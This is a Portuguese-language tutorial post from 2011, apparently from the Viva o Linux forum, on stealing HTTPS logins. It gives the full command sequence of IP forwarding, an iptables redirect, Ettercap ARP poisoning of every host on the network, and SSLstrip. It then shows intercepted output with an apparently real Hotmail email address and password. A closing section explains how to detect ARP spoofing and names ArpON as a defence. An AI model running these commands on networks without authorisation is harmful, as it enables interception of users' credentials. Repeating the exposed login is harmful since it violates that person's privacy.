Interceptando tráfego SSL/HTTPS com Ettercap e SSLstrip

Publicado por Bruno Rocha da Silva em 21/12/2011

[ Hits: 31.333 ]

Blog: http://about.me/brunorochadasilva

 


Interceptando tráfego SSL/HTTPS com Ettercap e SSLstrip



Introdução

Em 2009, quando Moxie Marlinspike apresentou sua nova façanha no BlackHat, o SSLstrip, a captura de tráfego SSL/HTTPS deixou de ser um conto de fadas e se tornou realidade. (:

Marlinspike não é estranho no mundo da segurança SSL. Em 2002 ele lançou o SSLsniff, uma ferramenta que pode ser usada em um ataque 'Man In The Middle' (MITM) para injetar certificados SSL ilegítimos em um fluxo HTTP, levando o usuário a pensar que eles estavam em um local seguro SSL legítimo.

A lógica do SSLstrip é bem simples, ele altera todos os GET's HTTPS por HTTP de uma página, e por meio de um ataque MITM, faz com que a Vítima e o Atacante se comuniquem via HTTP, quando na verdade o Atacante e o Servidor estão se comunicando via HTTPS.

Lembrando que realizar este tipo de teste sem autorização, é considerado invasão de privacidade, por isso utilize esta dica com cautela!

Ajustes iniciais

Para nossos testes, estou utilizando o BackTrack 5.

O primeiro passo será liberar o repasse de pacotes na máquina do Atacante:

# sysctl -w net.ipv4.ip_forward=1

Onde:
  • -w : (write) escrever as mudanças no arquivo;

Agora iremos usar o IPtables para redirecionar todo tráfego TCP da porta 80, para TCP 4003 (porta no qual o SSLstrip irá escutar);

# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 4003

Onde:
  • -t : Tabela do Firewall;
  • -p : Protocolo;
  • --dport : Porta de destino;
  • -j : (jump) ou simplesmente alvo;
  • --to-port : Redirecionar para uma porta especifica.

O teste de fogo

O próximo passo será rodar o 'Ettercap' para interceptar o tráfego da rede:

# ettercarp -TqM ARP:REMOTE // //

Onde:
  • -T : (Text) Somente em modo texto;
  • -q : Modo Silencioso;
  • -M : (MITM) irá realizar um ataque do tipo Man In The Middle;
  • ARP : REMOTE: Realiza o envenenamento da tabela ARP das máquinas que estão conectadas na rede. Uma vez que o cache tenha sido envenenado as vítimas irão enviar todos os pacotes para o atacante que, por sua vez, pode modificar e encaminhá-los para o destino real.
  • // // : Realiza o ataque de envenenamento ARP contra todos os hosts na rede.

Para encerrar, basta abrir outro terminal, e executar o SSLstrip:

# cd /pentest/web/sslstrip
# ./sslstrip.py -a -l 4003


Onde:
  • -a: Registrar todo o tráfego HTTP e SSL para e do servidor;
  • -l: (listen) Ouvir em uma determinada porta especifica, o padrão é a porta 10000.

Basta uma nova sessão HTTPS (Gmail, Hotmail, Facebook, etc..) ser aberta, para conseguirmos visualizar de forma clara o usuário e senha do mesmo!

Abaixo um exemplo de conteúdo interceptado:

2011-12-20 12:49:19,605 SECURE POST Data (login.live.com):
login=gabriel.camargo%40hotmail.com&passwd=#Gabriel2011$&type=11&LoginOptions=3&NewUser=1&MEST=&PPSX=PassportRN&PPFT=
CSunM4mofYh
igqiObttRmtoFdxf8alO7UBN1O9Jb2EQYF1T5sE4qGl
teBPzjSYo1kd1jAsP7rlt80UdeEqjMeasL5WXvuVU%21n8NSpKRq3NxmBsw06rOBOfPnz4pejvv3qm0x7rcejM0zU0oCmtF9mL1UqTYa0VQELVDpW
Og3RhYACZh
XqKYJAbxteyPX%21Mr1Yrq*Un8yDSMnbAgENcljztLVOk
*y&idsbho=1&PwdPad=&sso=&i1=&i2=1&i3=19972&i4=&i12=1&i13=&i14=593&i15=1038


Usuário: gabriel.camargo@hotmail.com
Password: #Gabriel2011$

Detectando o ataque

Uma dica importante no qual meu amigo Izaias (moderador do VOL) me pediu, seria sobre como detectar, ou ao menos tentar evitar, este tipo de anomalia.

Bom, vamos lá.

Um ponto importante deste tipo de ataque, é que o mesmo só será bem sucedido utilizando a técnica de ARP Spoofing na rede, ou seja, uma das diversas formas de detectar o ataque, será realizar uma consulta na tabela ARP do sistema:

No Linux:

# arp -n

No Windows:

> arp -a

Veja a saída do comando executado no Linux:
Address                  HWtype  HWaddress   &n bsp;       Flags Mask            Iface

192.168.0.59           ether   00:50:xx:xx:xx:b9             C                     eth0
192.168.0.102          ether   00:50:xx:xx:xx:b9            C            &nbs p;        eth0
192.168.0.1            ether   00:50:xx:xx:xx:b9               C                     eth0
192.168.0.100          ether  00:50:xx:xx:xx:b9          & nbsp;  C                     eth0
192.168.0.3            ether   00:50:xx:xx:xx:b9               C                     eth0
192.168.0.5            ether   00:50:xx:xx:xx:b9               C                     eth0
192.168.0.57           ether   00:50:xx:xx:xx:b9              C          &nbs p;          eth0
192.168.0.23          ether   00:50:xx:xx:xx:b9              C          &nbs p;          eth0
192.168.0.22            ether   00:50:xx:xx:xx:b9            C            &nbs p;        eth0
192.168.0.107          ether   00:50:xx:xx:xx:b9            C            &nbs p;        eth0
192.168.0.17         ether  00:50:xx:xx:xx:b9                C                      eth0
192.168.0.12           ether   00:50:xx:xx:xx:b9             C                     eth0

Perceba que os IP's listados são distintos, porém o endereço MAC é sempre o mesmo para todos. Endereço no qual, representa a placa de rede do Atacante.

Obs.: (O 'xx:xx:xx' foi uma forma de preservar o endereço Mac Real do Atacante).

Para evitar este tipo de ataque, alguns switchs (como Cisco por exemplo) trazem consigo, proteção contra ARP Spoof.

Porém, caso não se tenha um destes por perto, existe uma ótima ferramente chamada ArpON (Arp handler inspectiON tool). O mesmo é um Daemon manipulador que possui ferramentas de vigilância e monitoramento de redes, para assegurar a proteção, além de evitar ataques do tipo 'Man In The Middle', o mesmo também tenta evitar outros tipo de ataque, como 'DNS Spoofing' e 'Session Hijacking por', por exemplo.

Mais informações sobre esta ferramenta, pode ser vista no site:
Até a próxima!

Outras dicas deste autor

O jeito APT de resolver problemas

Leitura recomendada

Configurando VLANs no GNU/Linux

Dual-Boot: GNU/Linux + Windows (XP/Vista/7) - Para iniciantes

Configurando Audio Preview do Nautilus no Ubuntu 7.10

Configurar IP estático no Damn Small Linux

Resolvendo problemas de caracteres e idiomas no Debian Etch AMD64 e Dreamlinux MMGL 2.2

  

Comentários
[1] Comentário enviado por removido em 21/12/2011 - 15:00h

Boa dica !

[2] Comentário enviado por izaias em 22/12/2011 - 18:54h

Bruno campeão.

Agradeço a menção parceiro, mas quem de fato orientou-me quanto aos procedimentos e sobre termos técnicos (que vocês a quem considero Linuxers de verdade) usam, foi o moderador Xerxes Lins.
Em consulta a ele e a outros moderadores, eles me disseram como proceder com sua dica (muito 'loko' tudo isso! rs) e sobre como abordar a situação.

Obrigado ao Bruno, Xerxes e todos estes pinguins que transformam o VOL numa comunidade de aprendizado e de amigos.



Contribuir com comentário




Patrocínio

Site hospedado pelo provedor HostGator.
Linux banner
Linux banner
Linux banner

Destaques

Artigos

Dicas

Viva o Android

Tópicos

Top 10 do mês

Scripts